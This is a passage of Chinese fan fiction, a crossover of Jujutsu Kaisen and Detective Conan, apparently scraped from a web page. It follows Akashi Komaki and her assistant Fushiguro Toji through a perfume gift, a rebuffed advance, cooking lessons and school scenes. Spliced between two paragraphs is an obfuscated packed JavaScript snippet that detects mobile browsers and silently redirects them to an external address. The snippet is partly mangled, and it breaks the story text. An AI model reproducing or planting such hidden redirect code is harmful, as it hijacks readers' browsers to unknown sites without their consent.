她微微一笑:“2个咖啡冻正好能妥当的装在小袋子里,接下来我还要去购物,不方便随身带太多。” “再见啦这位同学~” 然后走到咖啡店门口,灰原哀站着的地方,笑眯眯地请她伸出手,也送她一个,“你也再见咯,灰原小姐。” 齐木楠雄:虽然你说爱惨了这不至于,但是你送我咖啡冻那你一定是个很好的人,这就是我的善恶观,咖门。 他露出欣慰又很平静的笑,“谢谢你,赤司小姐。” 见鬼,这人是不是讲话的时候没开口? 小莳出门前的最后一个表情是诧异。 齐木楠雄:…… 不管了,先去买香水。 14. 第 14 章 伏黑甚尔早早的超额花完了钱,也就早早回到了公寓。 看了会手机,估算着时间,做了晚饭。 他的预计时间是小莳5:00到家。 昨日联系过的导购主动提出送货上门,他自然不会拒绝,并对此人印象稍好,以后小莳如果有需求优先联系她。 5:10的时候他想,问题不大,这姑娘可能就是社团活动延时。 5:20的时候他猜测,买香水去了,好吧 5:30……伏黑甚尔给小莳打了第一个电话。 无人接听。 5:40伏黑甚尔接到了回电。 “甚尔君,我大概六点到家哦,今天路上遇到了一起谋杀案,耽搁了。” 伏黑甚尔没接通电话的时候是焦躁担忧的,看到来电的时候是有点生气的,但是听到了手机传声筒里的轻松明快的声音,一切都消失不见。 遇到了案件?那没事了。他说:“嗯,不用着急。” 然后很快的挂断了电话,将那边的“我买了——”彻底屏蔽。 ……咖啡味香水。 在一家小众产品商店。 好吧,猫的心思你别猜。 下午已经小吃过一顿,并不太饿,走路回家。 到门口的时候,发现没锁,轻轻一拉,厚重的木门就发出咯吱的声音,昭示有人来到。 将礼品盒放在置物台上,其余东西直接隔着袋子放地上。换上摆好的拖鞋,再大包小包的往客厅里走。 伏黑甚尔在沙发上玩手机。 “你就不能高情商点,搭把手?” “这些是什么?” 向伏黑甚尔解释了蔬菜咖喱,创真蛋炒饭,咖啡冻的来历,引得的一声嗤,其他也就算了,蛋炒饭能炒出什么花来。 他不信。 小莳是无所谓的,只要他开始干活把东西放好就行。 “我今晚要吃一点蛋炒饭。” “不行,家里的饭四点多已经煮好了。” “一口口。” “不行。” “那我吃蔬菜咖喱。” “只许吃一点,菜已经做好了。” 双方初步,达成一致。他好霸道,但是配合说的内容就构成了100%市井气。 “我推荐甚尔君吃点蛋炒饭,这是创真君改良的没有葱花!”小莳出于善意,热情推荐他吃点新鲜的。“再好的美食重复加热难免失去部分风味。” “创真君?”他一个音节一个音节地复读。 “不用在意这些细节。”小莳大手一挥,再献上惠宝厨艺秘诀100速成。 伏黑甚尔在意的要死。可他拧巴,所以觉得自己不在意。 但他能欺骗自己的心,却不能解释不爽的心情从何而来,于是在场的另一位难免被他怪罪。 小莳大概能理解伏黑甚尔不快乐的缘由,但这又不是她的问题,建议自己的毛病自己克服,她情绪超稳定的拿出礼品盒。 “锵锵,送给甚尔君的礼物。” “……”伏黑甚尔无动于衷 “今天本来想给你买杯咖啡的,但是出了意外没买到,正好那边有个粉毛学生在吃咖啡冻,我想着什么东西这么好吃?好吃到旁边死了人都像没发现异样——但是东方不亮西方亮,甚尔君既然对咖啡有点兴趣,为什么不正好买瓶类似香型的香水呢?于是就有了它!” “商业街没有阿蒂仙,所以我去那家专门卖小众品的店,没想到香味深得我心,啊不是,我的意思是我猜你一定不讨厌这味道。” “就是你现在身上的味道吗?”伏黑甚尔接话。 小莳稀罕地瞅他:“你鼻子这么灵吗?其实我没试,只拿了一张试香纸。也可能你闻到的是波洛咖啡厅的味道。”知道伏黑甚尔五感俱佳,没想到到这种程度了。 说不定以前真是个金牌hitman什么的。 他突然突破社交距离,以一种暧昧的姿态将小莳拢在身前,倾身嗅了嗅她的头发,然后做出一本正经的样子,“那可能是错觉,是你的香波味。” 其实他从她进门时确实闻见了咖啡的香气,苦涩的,甘甜的,混合的焦香。 “你能站远点吗?” “怎么,不习惯?”伏黑甚尔后退一小步,实际上赤司小莳和仍然在社交距离内,如果他想,只需一伸手就能将她揽到怀里。但是他想这些干什么,他只是颇有撩拨意味地倡议:“不在我身上试一下香味吗,大小姐。” 没吃过猪肉也见过猪跑,小莳冷静后退,然后被墙抵住去路,啊,这时候只要甚尔君把手抬起来撑着墙,就算是个完整的壁咚了。她想。 那你咚吧。 她抬头直视他的眼睛,没注意到墙的摩擦使自己的头发翘起来些许,“甚尔君没必要这样……”一时没想到合适的话语来描述此刻情境,“这点事情只要你开口我就会帮忙,而且,我还是未成年呢。”你不要动手动脚的。 “未成年……”伏黑甚尔没再多说什么,但他咧开的嘴角分开了伤疤,陈旧的刀疤,或者是其他东西留下的痕迹,于沉默中嘲笑这好似走投无路乱想出来的理由。 他凑得更近了。 小莳只是不习惯被近身,不代表她怵了。见助理这般,她一身正气--可能也不是正气,总之丝毫没有羞涩的打开礼盒,将几十分钟前她亲眼见到店主包装进去的方方正正香水瓶拿出来,右手手腕转动着晃了两下,开盖,对着男人左侧脖颈靠耳后的位置喷了两下。 “挺好闻的,你拿走吧,一天一下大概够十年呢。”中肯点评。 然后伏黑甚尔快速将她揽进怀里,搂着小莳的腰,让她的下巴好搭在自己的肩上,这次轮到他在她耳边说:“再靠近些,仔细点。” 小莳……属实是没经历过这些的,头一次被人猝不及防抱起来。双脚离地,她下意识就抓住离她最近的可依靠之物。 啊这,嗅到还没挥发掉的浓浓刺鼻酒精,还有比试香纸上更浓的厚重咖啡焦苦的味道,小莳维持着被抱起又紧紧搂着伏黑甚尔后背的姿势愣了几秒。 “感觉如何?小莳。”温烫的吐息刺激着左耳,低沉喑哑的声音试图扰动她的神经。 不得不说作为男人伏黑甚尔还是有两把刷子,小莳出神,1.这是伏黑甚尔第一次叫她的名字;2,这是伏黑甚尔第一次作为一个撩拨者主动出击-性缘意义上的;3.他大概是个追求一击必中的猎手,自以为准备万全方出手。这次直接将她的五感都调动起来:视觉、听觉、嗅觉、味觉、触觉……她确实也不排斥,甚至可以说有点喜欢这样的体验。 小莳本来就挺喜欢伏黑甚尔的,现在也不觉得被冒犯。 所以当然是选择诚实回答辣!“感觉甚尔胸好大,身体热热的。” 这一抱,就是抱住了男德。按照健身是男人最好的医美这种说法,小莳品鉴,伏黑甚尔天生五官俊朗,长得高就不说了,身材比例也是极佳,加上后天的努力,判定为美商遥遥领先。 伏黑甚尔:就这?所以他不满见效甚微的结果,追问:“还有呢?” “确实还有一些感想,但是说出来就有点不礼貌了。我家太小了,只住的下我和助理两个人,其他的再住不下那么多人。”成熟又情绪稳定的小莳拍拍他的背,不主动不负责,婉拒了。 “是很适合甚尔君的香水,放我下来吧。要吃蔬菜咖喱~” 伏黑甚尔和小莳在各自擅长的领域发光发热,最终以小莳的四两拨千斤结束了话题。 于他而言算是不欢而散。 小莳还如往常一样时不时分享点评一下今天见到的甲乙丙,发生的一二三事,伏黑甚尔有一搭没一搭应着。 餐后收拾完,就以“看田所惠送的菜谱去了”为由,迅速回房。 这下轮到小莳在客厅独享电视了,屏幕里,男主拒绝了一个投怀送抱的女配角,在小莳看来虚假的晓之以道德,动之以情谊:“我对你只有兄妹之情,自从你哥哥把你托付给我后,你就像是我的亲生妹妹一样。但是,我对你并没有爱情的悸动,如果此时接受了告白,固然可以得到美丽的你,但是对你而言……” 锐评,虚伪,做作。 这个电视剧小莳知道的,男主不凑巧又是个侦探,从人际关系上来说……老少咸宜。同性,只要不是反派,都称赞他;异性,就算是反派也为其魅力倾倒。可以概括为不知道编剧睡了多少年的梦集合在一起,编织出的剧本。 大义凌然说着“就算和你在一起,以后我的心也必定会游弋,只怕会伤害你,有损你我之间原有的亲情。”拒绝了女配。 以自保为出发点说出的冠冕堂皇的婉拒,是说给不熟的人作敷衍的,不是说给情谊深厚的幼妹听的。 这位女配不知道,但电视机前的观众们却心有明镜台,男主此时心里已经有了心动嘉宾,也就是第一集出现的芭蕾舞演员女主。笑死,他们下一集还要出去约会呢。 没见过孩子抽烟喝酒逃课,深爱他家长因为害怕伤害孩子感情,有损亲情就不去管教的,而后面的剧情也证明,男主这番看似关切为人着想实则乡愿的劝诫也并没有起到什么成效,想也知道。 导演想要表现男主的人性,最终端上来的却是这样的东西,可恨还有一些观众对这样男主神魂颠倒,说他温柔有责任感。 园子!出来挨骂!以后万一真谈这种男朋友有你好受的。 如果是她从小养大的小孩对她暗生情愫,那她必定直接拒绝他,其他的想都不要想!至少,她一定会给对方应得的坦诚,人生的欺瞒与谎言已经够多了,适时坦诚点也好。 可是这电视的推理剧情着实有趣,小莳只好评价为,写感情戏的编剧该被寄刀片。 没听完感情戏就选择快进大法,直接跳到精彩的案件部分。 这下她舒服了。 房间里的伏黑甚尔并没有在看菜谱,此事除去他本人,小莳也知道。小莳不知道的是,客厅里电视的声音也被伏黑甚尔听的一清二楚,虽然她礼貌地把声音调到很小。 他并没有觉得很挫败,也不认为自己魅力不足,严格来说他也并不介意自己被拒绝这件事。 只是电视里的对白实在是令人作呕。害怕伤害对方,这算哪门子理由。 这种男的都有人——还是不要这么想为好。 伏黑甚尔把枕头盖在头上,剧情也顺遂的被快进到案情部分,透过蓬松的枕头,现场的盘问声音闷闷地穿进耳朵。 他想,自己以前也挺受女人欢迎的,无缝衔接为多,没无家可归连着超过两天,就会找到下家。自己也有个儿子,和他关系也算不上好。好吧,他比起这个人,自评为五五开。 现在其实也挺受女人欢迎的,伏黑甚尔在心里补充。心情愉快了些许。 想起刚才的情况,他感受到少女慌乱之下的拥抱-虽然说始作俑者是自己,感受到她的鼻息、吐气,听见她直率的夸赞。 她明明很喜欢。 既然如此,为什么拒绝? 伏黑甚尔想不通,又难以将这个问题抛之脑后。小莳确实是很不一样的,如果是别的女人,被拒绝他大可顺从心意找下一个。伏黑甚尔知道自己对女性并不挑剔这件事情,自信大方的、相貌美丽的、温柔解意的、敦厚老实的,或者特别有钱的,皆有可观,倒不如说他还挺擅长发掘异性闪光点的,凡女性,在他看来或多或少都有些可喜之处。 比如昨天的社长短发造型俏皮,甜点也很不错,以后说不准也是个好女人。 他一点也不讨厌。他告诉自己,一般高中生养不起他,比起女孩还是成熟的女性更合适。说是这么说,但也仍没有离开公寓重新找成熟女性就业的打算。 还洗了碗,擦了桌子,清理灶台。事实摆在面前,他也就顺势承认,赤司小莳确实有点特殊。 客厅的电视声到八九点才停下,伏黑甚尔听见小莳步履缓慢的进入房间,关门。 彻底安静下来。 她可能……比其他人更吸引他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413082|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第二天,伏黑甚尔来房间唤醒小莳时,闹钟也准时响起来。 手忙脚乱关闹钟的时候,好巧不巧看到了助理的俊脸,场面有点尴尬。 “我以为你今天不会喊我了呢。”小莳坦诚解释。 伏黑甚尔不置可否,只说:“昨天带回来的菜帮你加热了,还有蜜渍苹果。” 哦哦哦,蜜渍苹果!惠宝菜谱里的佐餐水果! 将苹果削皮切成小块后,使用果汁+蜂蜜的组合浸泡苹果块,冰箱里腌制四十分钟到一个小时就可以拿出来吃了,剩下的糖水还可以做果茶,美味方便且一点也不浪费。笔记里是这么写的。 没想到甚尔君真的看了笔记,好好好。 小莳掀开被子就准备冲:“冷了就不好吃了!” 被伏黑甚尔拖着先梳了头,小莳感动:“好人!”只是转念一想,好日子不长了,能过一天是一天。 早饭非常不错,尤其是甚尔君大概被这碗创真蛋炒饭的好味道整破防这段,是小莳的心中top1部分。 别以为她没注意到那天被甜品社长蛋糕吓到的时候,助理在偷偷幸灾乐祸。 记仇着呢。看破不说破,小莳也偷乐。 吃完以后,装模作样的点评,“惠宝的菜有妈妈的味道。喜欢!”她很礼貌地略过炒饭。 “为了口吃的,带那么多东西回来,你也不嫌累。”助理讲话平平淡淡,听不出情绪。 小莳不满纠正,“我现在是大小姐,不代表以前没过过苦日子,况且这点重量对我来说不算什么。” “那你以后逛街东西自己拎。” “……”啊对对对,她的助理是一款生气会从别人身上找补,因此从不内耗的成年人。 “这次学园祭,你邀请了谁?”伏黑甚尔冷不丁开启话题。 “征十郎。” “还有呢?听说每个学生都有一张邀请券,有展位的社团社员每人也有一张。”说到这,他觉得自己的暗示傻瓜也明白了。 赤司小莳,对亲情有着很深的执念。 从有森饭店回来以后,她就开始和兄长打电话,发消息。虽然不明白为什么不在出游时就联系,但是小莳会因为兄长的消息露出抑制不住的愚蠢笑容和打电话时难掩的轻快语气。伏黑甚尔对亲人的印象很不妙,所以早早离开禅院家,后面还随便改了个姓,算是彻底和禅院拜拜了,儿子因为要卖过去,所以也不甚上心。他难以理解小莳和兄长笃厚的亲缘关系。 但有一点他明白,如果是赤司征十郎的话,排在第一位很正常。 “是这样的,我就不问你从哪里听说的了。”多半是隔壁甜品头子,小莳露出神秘的笑容,“我问了社团其他人,大家几乎都没有想要邀请的人,所以我让他们上缴了票让征十郎带篮球社一起来玩,又给了创真君和惠宝两张票。”其实还多出来一张,不过小莳没想好要不要热情邀请自己的助理。不过这个回答应该不太能让甚尔君满意吧……她又不是很笨的人,有人在明示自己很想被邀请。 但他暗恋自己,而且昨天暗恋转告白失败了,明明都双方心知肚明拒绝了,怎么还想粘着她。 小莳想,虽然此人虚长自己10岁,可脑袋实在愚笨,关系把握还得靠自己。现在看来甚尔君完全那种会跟着感觉走,很主动的出手最后却会把关系搞得很僵的人,说不定最后会什么话都不说的突然消失,直奔下一家。 事实上,她完全猜对了。 伏黑甚尔并不知道小莳此时在脑袋里编排他,他光顾着生气了。 直到出门他们都没再说过半句话。 小莳在进行一系列对伏黑甚尔的侧写,并且感慨幸好甚尔君午饭做的早,不然以他这心情,中午没便当吃。出门时还谨慎的记得把田所惠的见面礼套盒带上。 伏黑甚尔,伏黑甚尔觉得学园祭名额,不要也罢,冷着脸不说话。看她自己乖巧的开冰箱找饭盒,出门时也没忘记带上礼品袋。一桩桩一件件都想到了,偏偏听不懂他的话。 今天唯二值得期待的环节,话剧排练,下午部活。 排练很顺利,毛利兰是一位认真的学生。学习、社团、家务、娱乐被她平衡的很好,据说还经常能抽空和园子出去玩,虽然小小年纪就承担了超过同龄人的负担,但是她面面俱到。 台词她早早就背好,独白和对话女主角,浪漫但书面的文字,被她一字不落记在脑袋里。 园子一副嫁女儿的抹眼泪既视感:“这么好的兰,新一那小子居然不主动出现!而且你说她谁都邀请了,为什么不邀请新一?!” 小莳:我不到啊 看热闹不嫌事大,她开口就是乱讲:“别担心,说不定是移情别恋了,你就说新出医生帅不帅吧。” 天天敢乱想的园子反而叶公好龙,胆怯了起来:“诶诶诶,这这这,不不不至于吧!” “这样吧,你先一步把新出医生搞到手,然后……顺利的给新一减少了一个情敌。” “诶诶诶,虽然新出医生确实很帅气,但是他怎么也算是老师。我我我,很有道德的!”园子脸红。 “真可惜,我连你们孩子的名字都想好了。头胎当然是要和妈妈姓,然后——”被满脸通红的园子捂嘴。 说的没错吧,叶公好龙。 下午的社团活动遇到斗志满满的副社长,对方果然也大展身手,在炸鸡腌制方面有着自己的巧思,甚至让幸平创真都小惊讶了一把。 成功代替毛利兰成为了料理社最有天赋的成员。 话说小兰本来就不是料理社的…… 顺便悟了个人生真理:副社长都是劳碌命啊。们二把手是这样的。 小吃摊店和小而精家庭料理不同,更像是大锅饭。幸平创真这么总结,因此好好研究如何快速出品美味又质量统一的食品,才是正统的经营之道。 不错,统一腌制的重任,被交给了社团营业额的希望,副社长。 被远月第一席委以重任,沉默寡言的副社长还能再热血十天。 15. 第 15 章 小莳回家以后,伏黑甚尔做了半桌子菜,但是人却不在,留了一张字条。 你先吃,我晚点收。 说实话,本来都做好没晚饭的打算了,外卖软件礼包券都买了。 但是新的东西出现了:脾气闹归闹,但是甚尔很好地履行了职责。 有点担心,感觉将来会有大药,但也无碍感动。 四个菜,其中两个是以前没吃过的。还有一杯水果茶。 呜呜呜,有点舍不得甚尔君了。 吃完饭,喝了水果茶,感觉仍然不够,便从冰箱里拿了一瓶气泡鸡尾酒。 荔枝味,酒精度数区区4%,不在话下。 小莳这脸蛋一看就没有20,这些瓶瓶罐罐的好东西还是根本不饮酒的伏黑甚尔去便利店代劳的。视频电话,在线选购。 作为报答小莳教会了伏黑甚尔静音手机。 想念甚尔君的第30分钟。 想归想,电视一集不能落,今天的娱乐节目是来自美国的著名女演员克丽丝,忘了姓什么,主演的职场喜剧。 伏黑甚尔回到公寓的时候已经10点,沙发上有明显坐过人的痕迹,一看就是某人瘫成一团坐相不佳地仰在上面过。熟悉的感觉一下就来了。 走上前去伸手压平褶皱和凹陷,嗅到一缕冷香,伏黑甚尔想到小莳大约是喜欢在脖子右侧喷香水,结合她一贯的……手指拂过皮质沙发靠垫的某处,然后凑近鼻尖。 确实是这里。 鬼使神差的,他弯下腰,靠近那处沾染着柑橘香气的位置,稀薄的后调并不浓烈,但于他而言存在感已足够。几乎可以看见少女看电视到一半无聊得睡眼惺忪斜靠又蜷着的画面,头发大约是凌乱的在后面铺开,她就这样陷在柔软的沙发里,以致于残留的香气烙印在了沙发上。 伏黑甚尔打开电视。 电视里的人物在和上班的同事或者领导进行一番激烈的辩论:“我一个小职员,天塌下来都有分管领导撑着,4000刀的工资你指望我卖命?我看过你们每一个人的工资条!你,你一年前刚生过孩子,到现在一直没涨过工资,没想到吧,领导给比你后一年进来的xx涨幅10%,现在你已经比不上他咯。你?你也别笑的太开心,别看你每季度谈话好像都春风得意,隔壁工时没你长的工资已经是你想都不敢想的程度了。” 4000刀,那是多少日元来着?伏黑甚尔不太清楚,但看电视似乎是很少的样子。 英语听不懂,但是字幕配合这个吵吵闹闹的语气,确实像是小莳会喜欢的内容。 等等,他为什么要想这些。 为什么要像狗一样凑到沙发上闻女孩的身体贴在靠背上的余香。 脸色一黑。 伏黑甚尔立刻关掉电视。 拿走茶几上的易拉罐——她又喝酒了。 会不会是因为今天自己不在。 算了,无所谓。 伏黑甚尔打住了思考,但心情好多了。 餐桌上,意料之内就是吃完以后的样子,看样子一点也没收拾。留下的字条下面用很小的字写着【好呀,拜托你了,注意休息哦】 一切结束后,伏黑甚尔走到小莳房间门口,里面没有声音,可能是睡着了。他犹豫一会,决定进去看看。 可拧开房门后,听见一阵床上窸窣布料摩擦的响动。 房间里也并不是一片黑暗,小夜灯开着,昏黄的灯光从屋内蔓延出来。 “是我。”他简短的说。 “吓死,我以为米花来了个入室开锁王。”房间内的声音一下就大了起来。“我还在想手边没个趁手武器如果是坏人应该怎么办呢!” 又一阵动静后,拖鞋哒哒哒,小莳下床来到房间门口,“甚尔君你终于回来力。” “怎么了?” “没事,这不正好你回来,正好我醒着,来打个招呼。”上身穿着宽松白色T恤,下身是类似安全裤一样的宽松短裤,这就是小莳今天的睡衣。 “你像个小学生。”各种意义上,打招呼的样子,衣着外观,还有那一阵拖鞋的哒哒哒。 “那你岂不是变态。”莫名其妙被吐槽了一顿,自然要狠狠反击,直接顺着他的话往下说,“简直是罪孽深重。按这道理说我年龄都够做你女儿了!” “……”女儿什么的纯属无稽之谈,但伏黑甚尔很后悔自己打开了这扇门。 而且小莳的指责让他想到刚刚自己进门时一系列举动,虽然对方并不清楚这一点…… 伏黑甚尔:没错,我精神不正常。现在就是后悔。 小莳说完这话就推上了门,又回到快乐老家被窝里去了。 等等,刚刚好像一时嘴快说了不该吐槽的话,算了,甚尔君本人都没发表意见呢,就当一切OK。 第二天 伏黑甚尔进房间的时候,小莳坐在梳妆台前玩手机。 “你眼睛都快贴到屏幕上了。小心被辐射影响视力。”怎么有人化妆到一半就开始分心看社交网站,推测她上课时多半也没闲着。 “胡说,我眼睛好着呢!”美女的事情少管,但小莳高情商的没说出口,转移话题“马上有什么好吃的?” 早上的早饭是昨晚的隔夜菜。 伏黑甚尔表示,因为小莳几乎没动筷子,正好留到今早继续吃。赠送一个假笑:“毕竟我做的食物味道不佳,想来也远比不上远月毕业生创真君。” “……”也不是不能吃,但好日子过多了,难免挑剔。甚尔君的家常菜手艺只和惠宝还有创真君差那么亿点点,毕竟是没有专业进修过的新上岗一月的助理,且这助理身份还是转行来的。 这个时候如果说什么“你就不能学学人家”好像就和电视剧里指责小朋友的家长一样坏了,但是吃……也不想吃。 没遇到过这种事啊……好想像Xanxus一样发疯鲨厨子,可惜要不得。 于是她犹豫开口,透露出一点没和别人说过的信息:“要不我教你吧。我姑且也算,对做菜的理论有点心得。” 瓦利亚的职场规则很混乱,就和一些意大利公务员似的,除了团建活动大家都积极踊跃报名,其他的时候一旦被发现了某种才能……就会被二把手斯库瓦罗谈话,然后布置工作,再然后…… “小莳会做饭?正好今天厨师又被混蛋BOSS物理解雇了,没人做饭,就交给你了。” 过一周。 “反正也没有多大的难度,你是术士,你的造物奈亚又恰巧会烹饪,老大也喜欢。以后做饭都让他来吧。” 又过去一段时间。 “今天王子要在这里宴请宾客,小莳,来做饭。如果人手不够我就特派弗兰去帮你。”“me不要。” 变成煮饭婆什么的不要啊!虽然做饭的严格意义说不是她本人…… 至于为什么不和一把手谈话?因为老员工的命也是命,除了列维没人自愿找老大。 斯库瓦罗主要是老夫老妻,离也离不掉,凑合过了。听说当初他也是被其余成员推举成为和BOSS交流的主力,然后在这位置上再也没下来过。现在什么活都归他了。好惨。 前车之鉴就是二把手本人,小莳才不愿意步后尘。 伏黑甚尔每个字都听得懂,合在一起就不明白了。“?” “就是,我可能还挺擅长教人做菜的。” 伏黑甚尔露出见鬼的表情。 小莳被深深刺痛了:“你这丑陋的面貌是怎么回事啊喂?!我们从各自的世界相聚在这里,彼此都是有两把刷子的好吧,如果你以为我只有金钱这一点突出之处的话,那可真是大错特错了!” 小莳指点他把一些东西重新倒进锅里,伏黑甚尔照做。 小莳又指挥他加了些许水、调味料和香料,最后翻炒几下,让酱汁均匀的裹在回锅的菜肴上。 “你试试,是不是比桌上这半盘味道好很多。”没错,这半盘是为了做对照组留下的,以防助理不认账。 伏黑甚尔想,好吧,除了有钱,你还会做饭,这仍然没什么了不起的。 可……明明只是简单的处理了一下,味道却大不相同了。 “现在它是我的早餐了。”小莳看出他眼中惊艳之色,满意,然后拿过盘子,“甚尔如果感兴趣的话可以再重复一下之前的步骤。我们就可以吃同款早餐了。” 言下之意让他想吃自己做,虽然手上这盘也是他做的。 “我还是很精通理论知识的,实际操作就……可能我天生不擅长动手。”她本来想说劳碌的,担心激怒了助手。 小莳吃完饭就快速赶往学校了。 路上不凑巧遇到早高峰案件,人群将一辆车围得水泄不通。后面的车根本没办法通过,小莳下意识在那一圈搜索一个熟悉的身影,不出意外,找到了, 那没事了。有江户川柯南作法,纯属日常。 继续步行。 小莳的同桌人挺不错,总是提前到班级,总是借她抄作业。有时园子也会抄抄英语选择题,她是有着高贵出身的大小姐,从小就学会了英语,不难理解有时她会懒得写英语,然后选择横扫模式-两分钟快速完成作业。 但今天她迟到了,昨天还发消息说要早点到的。小莳推测这和早上路过的那起大马路案件相关。 上国语课了,她还没来。 班主任询问了下情况便出去联系家长了,小莳发现事情并不简单。 第三节英语课开始十分钟,铃木园子急冲冲地冲向教室。“报,报到。茱蒂老师好!” 之前的英语老师调走了,这位茱蒂老师是在小莳转学后才招来的,是美国人。金色短直发,浅蓝色瞳孔,一副框架眼镜,成熟职业女性的形象。 小莳总感觉她能发现自己在偷偷玩手机,虽然老师从不说,只是偶尔点名喊她回答问题。这些问题还都是相对教学水平有点难度的。 幸好她会英语,基本没出什么错。这个时候老师便会笑眯眯地让她坐下,温柔的叮嘱她要继续认真学习。 今天被关注的人变成了园子。 正好讲到昨天的作业,茱蒂老师就让她起来讲解几道选择题。 铃木园子:“……”她尴尬地解释作业本丢在家里了。 下课后,园子兴冲冲地分享自己刚刚推理女王附体,破了一个案子!虽然具体细节不知道,情节不清楚,但是醒来的时候众人在鼓掌,犯人已经被带走了,自己无疑是水准超越工藤新一的名侦探。 小莳稍一思索,得出结论,原来毛利小五郎不在现场。 园子性格豪放为人不拘小节,工藤新一还挺会选人的,是个心大的姑娘。 “小莳,兰都夸我了,你怎么不参与到我们的庆祝中来!” 小莳在和自家助理发信息,真挚邀请他等自己回家一起研究做饭。 TOJI:你今天下午打算几点回来? TOJI:我4:30买菜回家。 她还没来得及开口,下课还没走的茱蒂老师就过来加入群聊:“heyKOMAKI,whoareyoutexting,boyfriend?” 园子的事业心在听到boyfriend的时候就完全飞走了,“什么什么,boyfriend!难道小莳居然弯道超车了兰?!”毛利兰:“园子你……” “Oh,sorry。其实我也不清楚是不是男朋友,只不过看见KOMAKI笑得很开心的样子,简直是inlove的状态!” 说得好,茱蒂老师,下次不许再说英语了。 小莳倒扣手机。谢绝观看。 “Isee,asecretmakesawomanwoman.It’sOK.”老师站定在五步远处,wink并且右手食指竖在红唇前,做了个噤声的手势。 “……”她是走了,园子还在这不达目的不罢休。 “小莳!我不再是你分享喜悦的第一个对象了吗?是谁!!!” “只是在和甚尔聊天。”小莳脑阔疼。 在上课之前,全班同学都知道赤司小莳的助理是185腹肌大帅哥,还是她老公。 上课以后她才有时间重新点开手机。 TOJI:你也早点结束社团,如何?你之前说你只负责组织,并不参与料理。 TOJI:离开早点也没关系的。 这是十分钟前的消息。 下面是过了五分钟的。 TOJI:? 结束。 小莳开始回复。 料理带师:好哦。 料理带师:刚刚被英语老师拉扯住了,老师,坏! 料理带师:她说我看手机笑得太开心,一看就在做和学习无关的事情。 TOJI:你还在和别人聊天吗 TOJI:? 不知道和谁学的坏习惯,伏黑甚尔都开始发单问号了。 料理带师:没有 TOJI:只在和我一个人发消息? 料理带师:对哦 TOJI:你有笑得很开心吗 料理带师:…… 料理带师:我笑,是我生性就爱笑,不为别的。 下午社团活动时,还来了一位新的美女。 薙切绘里奈。 看样子是个要求异常严格的真·大小姐。在料理上是说一不二的性格呢!看她指挥众人做事的样子,气势上堪比教导主任。 然后小莳被幸平创真科普了大小姐初入远月极星寮不会用洗衣机的事情。 小莳可不觉得好笑,毕竟她也不会。 诶嘿。 不过看这二位的相处方式……惠宝,多半要失恋了。 明明是三个人的场景,幸平创真总是下意识的先回应薙切,虽然惠宝也没有表现得很失望的样子,但她的视线总在幸平创真 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好像是小莳的朋友,再回忆一下,是前几天料理社里带着发箍的短发女孩,看起来并不聪明。伏黑甚尔有点兴趣了,点击链接看详情报道。 “伏黑先生?”因为一直没有音讯但是耿耿于怀,甜品社社长这几天都在商业街徘徊,希望能有好运再碰到一面之缘的救命恩人。当然她自己也承认其实主要是为了社交目的。 居然真的碰到了! “……”循声看去,是一个黑短发女孩,穿着校服。是谁来着? 不认识。 甜品社社长心情也是很忐忑的,但是伏黑甚尔一脸“你是谁”的表情,她开始乱猜,难道是失忆了?不会真的车祸了吧,还是说这其实是伏黑先生的双胞胎兄弟? 两人面面相觑片刻,伏黑甚尔率先低下头继续看手机,留社长一个人在风中凌乱。 社长羞恼又尴尬,这种时候无视别人真的好吗?就算不认识也应该礼貌的询问一下情况……吧 小莳隔着马路就看到倚在红绿灯杆边的伏黑甚尔,他手上还拎着装了蔬菜水果的环保袋。不确定他能不能听见人来人往环境下隔着距离的声音,如果对方听不见,而自己又恰巧打招呼…总感觉好尴尬,还是过马路到他身边去再说。 谁知道他反倒自己抬起头往小莳的方向看过来,和她挥了挥手。 眨了眨眼,平定方才莫名的情绪,等一阵车流过后,穿过斑马线,走到伏黑甚尔身边,随口说道:“你身上还喷香水了,看来确实挺喜欢咖啡味的。” “不是,穿了前天的衣服。”伏黑甚尔站在小莳左边,他想离她更近一点,于是把右手的袋子挪到左手。谁知还没自然靠近,旁边女孩就远移三步。 “你居然还穿着!”小莳表示不可思议,“衣服不是穿一下就要洗的吗!” 不,大小姐,只有你连试穿一下衣服都要洗。 伏黑甚尔忍耐着说:“你的衣服是我洗的,换做你自己动手,你会每天洗吗?” 小莳头摇得像拨浪鼓,却答非所问:“不可能自己洗衣服的,这辈子都不可能的。你不要恐吓我!” “……”这理所应当的娇生惯养样子,明明是矫情做派,此时伏黑甚尔却诡异的觉得有点可爱。 “等等,那你会每天洗澡吗?” 他可疑地停顿。 “你不会前天到现在也没洗澡吧!”小莳再后退三步。 “前天洗了。”伏黑甚尔只是这么说着。 “那么昨天……” 没见过这么多事的。 伏黑甚尔:要……忍……耐 什么都不说也是一种回答,小莳:“天呢,你不洗澡!” “……” “……” 小莳被身后一道过于强烈的目光引得回头,看见不知站在那多久的甜品社社长。 社长全听见了,两只耳朵都听见了。 “请问学姐,有何贵干?”小莳无意搭理她,只当偶遇处理。 “我也请问,一天不洗澡怎么了呢?”隔壁社长从方才赤司小莳的言语中感受到一种浓浓的蔑视:好像只要不每天沐浴就是乡下人、野蛮人,这一刻,什么帅哥、社团恩怨都不再重要,这是信念问题! 没错,社长的故乡在北海道札幌-北纬43度的北国城市。温带气候,四季分明,冬日最低温度可以达到零下14℃。 “没怎么,也就是不干净一点,臭一点,脏一点。不过没关系,不管如何我都会维持干净整洁的面貌捏。”小莳叉着腰,其实她根本不在意陌生人一天洗几次澡,但是看对方的样子就不太想说好听的话。 “……”如此拙劣的激怒。 